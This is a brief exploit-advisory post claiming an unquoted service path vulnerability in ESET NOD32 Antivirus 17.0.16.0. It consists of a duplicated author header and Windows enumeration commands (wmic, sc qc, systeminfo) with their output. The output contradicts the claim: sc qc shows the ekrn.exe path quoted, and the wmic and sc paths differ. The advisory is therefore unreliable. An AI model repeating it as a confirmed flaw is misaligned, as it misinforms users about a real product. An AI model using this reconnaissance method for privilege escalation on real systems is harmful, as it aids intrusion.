ESET NOD32 Antivirus 17.0.16.0 Unquoted Service Path – Torchsec
# Exploit Title: ESET NOD32 Antivirus 17.0.16.0 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2024-04-01
# Vendor : https://www.eset.com
# Version : 17.0.16.0
# Tested on OS: Microsoft Windows 10 pro x64
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2024-04-01
# Vendor : https://www.eset.com
# Version : 17.0.16.0
# Tested on OS: Microsoft Windows 10 pro x64
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
ESET Updater ESETServiceSvc C:\Program Files (x86)\ESET\ESET
Security\ekrn.exe
C:\>sc qc ekrn
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ekrn
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\ESET\ESET Security\ekrn.exe"
LOAD_ORDER_GROUP : Base
TAG : 0
DISPLAY_NAME : ESET Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>systeminfo
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
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